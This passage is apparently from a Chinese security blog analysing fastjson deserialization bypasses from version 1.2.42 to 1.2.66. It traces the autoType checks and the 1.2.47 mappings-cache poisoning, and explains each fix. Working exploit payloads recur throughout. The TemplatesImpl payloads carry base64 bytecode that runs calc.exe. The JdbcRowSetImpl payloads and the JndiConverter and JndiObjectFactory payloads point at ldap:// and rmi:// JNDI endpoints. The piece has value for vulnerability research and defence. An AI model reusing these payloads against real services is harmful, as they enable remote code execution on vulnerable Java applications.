"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"}," +
"\"_outputProperties\":{ }}";

JdbcRowSetImpl链:

1
2
3
String text = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", " +
"\"dataSourceName\":\"ldap://127.0.0.1:5432/b1uel0n3\", " +
"\"autoCommit\":true}";

数组绕过还是之前的payload:

1
2
3
4
5
String text = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"}," +
"\"_outputProperties\":{ }}";
1
2
3
String text = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl;\"[{, " +
"\"dataSourceName\":\"ldap://127.0.0.1:5432/b1uel0n3\", " +
"\"autoCommit\":true}";

fastjson 1.2.43

image-20250925205736337

直接检测前两位如果为LL直接抛出错误,但依旧能进行数组绕过:

1
2
3
4
5
String text = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{," +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"'_name':'b1uel0n3'," +
"'_tfactory':{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"}," +
"\"_outputProperties\":{ }}";
1
2
3
String text = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl;\"[{, " +
"\"dataSourceName\":\"ldap://127.0.0.1:5432/b1uel0n3\", " +
"\"autoCommit\":true}";

fastjson 1.2.44-46

修复了[的绕过

image-20250925210631198

[开头直接抛出异常,L开头;结尾也抛出异常,只能尝试寻找黑名单以外的类进行利用

fastjson 1.2.47

漏洞描述

漏洞描述:可以在不开启autoType的情况下触发反序列化

影响版本:

1.2.25 <= fastjson <=1.2.47

利用条件:

  • 小于 1.2.48 版本的通杀,AutoType为关闭状态也可以。
  • loadClass中默认cache设置为true

漏洞分析

在checkAutoType方法中,前面我们都是通过TypeUtils.loadClass方法返回clazz进行实例化某个类使用:

image-20250927133217966

但除此之外还有其他方式返回clazz:
image-20250927133309406

由于autoTypeSupport默认为false,expectClass默认为null,那么fastjson就会依次通过TypeUtils.getClassFromMapping和deserializers.findClass来查找类,查找失败再进行黑白名单验证,然后再通过TypeUtils.loadClass加载没有找到的类。

image-20250927133720480

这里简单跟进TypeUtils.getClassFromMapping和deserializers.findClass方法:

image-20250927133807148

从mappings中获取对应的Class对象,mappings是一个ConcurrentHashMap对象,TypeUtils类静态代码块调用了addBaseClassMappings()方法:

image-20250927134108891

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
private static void addBaseClassMappings(){
mappings.put("byte", byte.class);
mappings.put("short", short.class);
mappings.put("int", int.class);
mappings.put("long", long.class);
mappings.put("float", float.class);
mappings.put("double", double.class);
mappings.put("boolean", boolean.class);
mappings.put("char", char.class);
mappings.put("[byte", byte[].class);
mappings.put("[short", short[].class);
mappings.put("[int", int[].class);
mappings.put("[long", long[].class);
mappings.put("[float", float[].class);
mappings.put("[double", double[].class);
mappings.put("[boolean", boolean[].class);
mappings.put("[char", char[].class);
mappings.put("[B", byte[].class);
mappings.put("[S", short[].class);
mappings.put("[I", int[].class);
mappings.put("[J", long[].class);
mappings.put("[F", float[].class);
mappings.put("[D", double[].class);
mappings.put("[C", char[].class);
mappings.put("[Z", boolean[].class);
Class<?>[] classes = new Class[]{
Object.class,
java.lang.Cloneable.class,
loadClass("java.lang.AutoCloseable"),
java.lang.Exception.class,
java.lang.RuntimeException.class,
java.lang.IllegalAccessError.class,
java.lang.IllegalAccessException.class,
java.lang.IllegalArgumentException.class,
java.lang.IllegalMonitorStateException.class,
java.lang.IllegalStateException.class,
java.lang.IllegalThreadStateException.class,
java.lang.IndexOutOfBoundsException.class,
java.lang.InstantiationError.class,
java.lang.InstantiationException.class,
java.lang.InternalError.class,
java.lang.InterruptedException.class,
java.lang.LinkageError.class,
java.lang.NegativeArraySizeException.class,
java.lang.NoClassDefFoundError.class,
java.lang.NoSuchFieldError.class,
java.lang.NoSuchFieldException.class,
java.lang.NoSuchMethodError.class,
java.lang.NoSuchMethodException.class,
java.lang.NullPointerException.class,
java.lang.NumberFormatException.class,
java.lang.OutOfMemoryError.class,
java.lang.SecurityException.class,
java.lang.StackOverflowError.class,
java.lang.StringIndexOutOfBoundsException.class,
java.lang.TypeNotPresentException.class,
java.lang.VerifyError.class,
java.lang.StackTraceElement.class,
java.util.HashMap.class,
java.util.Hashtable.class,
java.util.TreeMap.class,
java.util.IdentityHashMap.class,
java.util.WeakHashMap.class,
java.util.LinkedHashMap.class,
java.util.HashSet.class,
java.util.LinkedHashSet.class,
java.util.TreeSet.class,
java.util.concurrent.TimeUnit.class,
java.util.concurrent.ConcurrentHashMap.class,
loadClass("java.util.concurrent.ConcurrentSkipListMap"),
loadClass("java.util.concurrent.ConcurrentSkipListSet"),
java.util.concurrent.atomic.AtomicInteger.class,
java.util.concurrent.atomic.AtomicLong.class,
java.util.Collections.EMPTY_MAP.getClass(),
java.util.BitSet.class,
java.util.Calendar.class,
java.util.Date.class,
java.util.Locale.class,
java.util.UUID.class,
java.sql.Time.class,
java.sql.Date.class,
java.sql.Timestamp.class,
java.text.SimpleDateFormat.class,
com.alibaba.fastjson.JSONObject.class,
};
for(Class clazz : classes){
if(clazz == null){
continue;
}
mappings.put(clazz.getName(), clazz);
}
String[] awt = new String[]{
"java.awt.Rectangle",
"java.awt.Point",
"java.awt.Font",
"java.awt.Color"};
for(String className : awt){
Class<?> clazz = loadClass(className);
if(clazz == null){
break;
}
mappings.put(clazz.getName(), clazz);
}
String[] spring = new String[]{
"org.springframework.util.LinkedMultiValueMap",
"org.springframework.util.LinkedCaseInsensitiveMap",
"org.springframework.remoting.support.RemoteInvocation",
"org.springframework.remoting.support.RemoteInvocationResult",
"org.springframework.security.web.savedrequest.DefaultSavedRequest",
"org.springframework.security.web.savedrequest.SavedCookie",
"org.springframework.security.web.csrf.DefaultCsrfToken",
"org.springframework.security.web.authentication.WebAuthenticationDetails",
"org.springframework.security.core.context.SecurityContextImpl",
"org.springframework.security.authentication.UsernamePasswordAuthenticationToken",
"org.springframework.security.core.authority.SimpleGrantedAuthority",
"org.springframework.security.core.userdetails.User"
};
for(String className : spring){
Class<?> clazz = loadClass(className);
if(clazz == null){
break;
}
mappings.put(clazz.getName(), clazz);
}
}

可以看到mappings下有这些对象

接着看deserializers.findClass方法,deserializers是一个IdentityHashMap对象:

image-20250927134336560

bucket用于储存键值对,这里指从deserializers遍历获取对应的Class对象,而ParserConfig提供了initDeserializers()设置deserializers中buckets值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
private void initDeserializers() {
deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
deserializers.put(java.sql.Timestamp.class, SqlDateDeserializer.instance_timestamp);
deserializers.put(java.sql.Date.class, SqlDateDeserializer.instance);
deserializers.put(java.sql.Time.class, TimeDeserializer.instance);
deserializers.put(java.util.Date.class, DateCodec.instance);
deserializers.put(Calendar.class, CalendarCodec.instance);
deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);

deserializers.put(JSONObject.class, MapDeserializer.instance);
deserializers.put(JSONArray.class, CollectionCodec.instance);

deserializers.put(Map.class, MapDeserializer.instance);
deserializers.put(HashMap.class, MapDeserializer.instance);
deserializers.put(LinkedHashMap.class, MapDeserializer.instance);
deserializers.put(TreeMap.class, MapDeserializer.instance);
deserializers.put(ConcurrentMap.class, MapDeserializer.instance);
deserializers.put(ConcurrentHashMap.class, MapDeserializer.instance);

deserializers.put(Collection.class, CollectionCodec.instance);
deserializers.put(List.class, CollectionCodec.instance);
deserializers.put(ArrayList.class, CollectionCodec.instance);

deserializers.put(Object.class, JavaObjectDeserializer.instance);
deserializers.put(String.class, StringCodec.instance);
deserializers.put(StringBuffer.class, StringCodec.instance);
deserializers.put(StringBuilder.class, StringCodec.instance);
deserializers.put(char.class, CharacterCodec.instance);
deserializers.put(Character.class, CharacterCodec.instance);
deserializers.put(byte.class, NumberDeserializer.instance);
deserializers.put(Byte.class, NumberDeserializer.instance);
deserializers.put(short.class, NumberDeserializer.instance);
deserializers.put(Short.class, NumberDeserializer.instance);
deserializers.put(int.class, IntegerCodec.instance);
deserializers.put(Integer.class, IntegerCodec.instance);
deserializers.put(long.class, LongCodec.instance);
deserializers.put(Long.class, LongCodec.instance);
deserializers.put(BigInteger.class, BigIntegerCodec.instance);
deserializers.put(BigDecimal.class, BigDecimalCodec.instance);
deserializers.put(float.class, FloatCodec.instance);
deserializers.put(Float.class, FloatCodec.instance);
deserializers.put(double.class, NumberDeserializer.instance);
deserializers.put(Double.class, NumberDeserializer.instance);
deserializers.put(boolean.class, BooleanCodec.instance);
deserializers.put(Boolean.class, BooleanCodec.instance);
deserializers.put(Class.class, MiscCodec.instance);
deserializers.put(char[].class, new CharArrayCodec());

deserializers.put(AtomicBoolean.class, BooleanCodec.instance);
deserializers.put(AtomicInteger.class, IntegerCodec.instance);
deserializers.put(AtomicLong.class, LongCodec.instance);
deserializers.put(AtomicReference.class, ReferenceCodec.instance);

deserializers.put(WeakReference.class, ReferenceCodec.instance);
deserializers.put(SoftReference.class, ReferenceCodec.instance);

deserializers.put(UUID.class, MiscCodec.instance);
deserializers.put(TimeZone.class, MiscCodec.instance);
deserializers.put(Locale.class, MiscCodec.instance);
deserializers.put(Currency.class, MiscCodec.instance);
deserializers.put(InetAddress.class, MiscCodec.instance);
deserializers.put(Inet4Address.class, MiscCodec.instance);
deserializers.put(Inet6Address.class, MiscCodec.instance);
deserializers.put(InetSocketAddress.class, MiscCodec.instance);
deserializers.put(File.class, MiscCodec.instance);
deserializers.put(URI.class, MiscCodec.instance);
deserializers.put(URL.class, MiscCodec.instance);
deserializers.put(Pattern.class, MiscCodec.instance);
deserializers.put(Charset.class, MiscCodec.instance);
deserializers.put(JSONPath.class, MiscCodec.instance);
deserializers.put(Number.class, NumberDeserializer.instance);
deserializers.put(AtomicIntegerArray.class, AtomicCodec.instance);
deserializers.put(AtomicLongArray.class, AtomicCodec.instance);
deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);

deserializers.put(Serializable.class, JavaObjectDeserializer.instance);
deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);
deserializers.put(Comparable.class, JavaObjectDeserializer.instance);
deserializers.put(Closeable.class, JavaObjectDeserializer.instance);

deserializers.put(JSONPObject.class, new JSONPDeserializer());
}

所以我们现在的思路很明确,就是能否将恶意对象添加进mappings或者deserializers使最后加载我们的恶意对象

首先看mappings:

看哪个地方调用了mappings.put方法,除了初始化外TypeUtils.loadClass也调用了该方法,就是一开始实例化类的方法:

image-20250927135825437

image-20250927135945768

提供了三种方式加载类,成功就将结果存入mappings缓存

然后就是deserializers,除了initDeserializer还有putDeserializer方法也调用了:

image-20250927140603988

这个方法在getDeserializer方法中调用,其中这两个参数由getDeserializer方法方法内控制,getDeserializer方法中,大部分不可控,可控部分都需要对clazz做类型检测

所以这里不考虑,现在我们的目的是通过TypeUtils.loadClass方法来将恶意类添加到mappings缓存,搜索下哪里调用了该方法:
image-20250927141255677

可以看到MiscCodec类中也调用了该方法,定位到MiscCodec#deserialze方法:
image-20250927141510893

当clazz类型是Class类型时会调用TypeUtils.loadClass方法,clazz是deserialze传入的对象的类型

image-20250927141823550

而strVal由objVal控制:

image-20250927141939393

objVal又是通过parse.parse()方式获得

前面我们分析反序列化流程时知道一般deserialze方法是在DefaultJSONParser中,通过deserializer.deserialze方法进行调用

image-20250927142350181

这里我们进行测试,我们先实现前提就是要能调用MiscCodec#deseriale方法,同时需要确保clazz类型为Class类型,这里反序列化器是通过getDeserializer获得的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
deserializers.put(Class.class, MiscCodec.instance);
deserializers.put(char[].class, new CharArrayCodec());
deserializers.put(UUID.class, MiscCodec.instance);
deserializers.put(TimeZone.class, MiscCodec.instance);
deserializers.put(Locale.class, MiscCodec.instance);
deserializers.put(Currency.class, MiscCodec.instance);
deserializers.put(InetAddress.class, MiscCodec.instance);
deserializers.put(Inet4Address.class, MiscCodec.instance);
deserializers.put(Inet6Address.class, MiscCodec.instance);
deserializers.put(InetSocketAddress.class, MiscCodec.instance);
deserializers.put(File.class, MiscCodec.instance);
deserializers.put(URI.class, MiscCodec.instance);
deserializers.put(URL.class, MiscCodec.instance);
deserializers.put(Pattern.class, MiscCodec.instance);
deserializers.put(Charset.class, MiscCodec.instance);
deserializers.put(JSONPath.class, MiscCodec.instance);
1
String text = "{\"@type\":\"java.lang.Class\",\"b1uel0n3\":\"b1uel0n3\"}";

image-20250927144317091

调用到了MiscCodec对象的deserialze方法,回到objVal赋值位置,结果提示需要键名为val,不然会抛出错误:

1
String text = "{\"@type\":\"java.lang.Class\",\"val\":\"b1uel0n3\"}";

image-20250927145559242

接着往下:

image-20250927145651948

会调用TypeUtils.loadClass方法,他调用了另一个重载方法,classLoader默认为null,cache默认为true:

image-20250927150512873

他会判断mappings是否缓存过这个类,如果有直接返回

获取类加载器加载类,由于cache为true,则会通过mapping.put方法向mapping添加新的class:
image-20250927150653336

然后我们再反序列化恶意对象,由于已经缓存进mapping,则会从mapping直接返回,从而避开黑白名单的限制

mappings添加恶意类利用流程总结

这里我们简单总结一下添加mapping的操作

首先是checkAutoType方法检查逻辑,针对1.2.47版本:

  • 如果AutoType未开启,会先通过查找mappings和deserializers缓存过的类,如果所以实例化的类被找到,则直接返回对应的Class对象
  • 如果AutoType开启,当反序列化的类在黑名单中,且mappings中没有该类的缓存时,会抛出异常

而1.2.47版本默认不开启AutoType

这时我们的流程就是利用parse会执行deserializer.deserialze方法触发MiscCodec#deserialze方法,注意clazz为Class类型,同时strVal由objVal赋值,因为objVal最后反序列化后的值为val的值,所以需要传入val变量为我们的恶意类使其最后调用TypeUtils.loadClass方法时将我们的恶意类添加进mappings缓存

1
String text = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";

构造poc

所以需要一次实例化两个对象,一个用于将恶意类设置进mappings,另一个则直接触发漏洞

解析流程:

1
2
解析键"1" → 检查@type1 → 反序列化对象1 → 污染缓存
解析键"2" → 检查@type2 → 失败 → 异常 → 重试 → 缓存命中 → 成功

JdbcRowSetImpl链:

1
2
String text = "{\"1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}, " +
"\"2\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:5432/b1uel0n3\", \"autoCommit\":true}}";

TemplatesImpl链:

1
2
3
4
5
6
String text = "{\"1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"}, " +
"\"2\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " +
"\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=\"]," +
"\"_name\":\"b1uel0n3\"," +
"\"_tfactory\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl\"}," +
"\"_outputProperties\":{ }}}";

漏洞修复

1.2.48版本修复了cache值默认为true的问题,直接将cache的值改为了false。

image-20250927155856236

fastjson <=1.2.62 和 <=1.2.66

积累的两个poc,基于黑名单绕过fastjson <= 1.2.62

1
2
3
4
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://127.0.0.1:1099/exploit"
}";

基于fastjson<=1.2.66的poc

1
2
3
4
{
"@type":"org.apache.shiro.jndi.JndiObjectFactory",
"resourceName":"ldap://192.168.80.1:1389/Calc"
}

fastjson 1.2.68

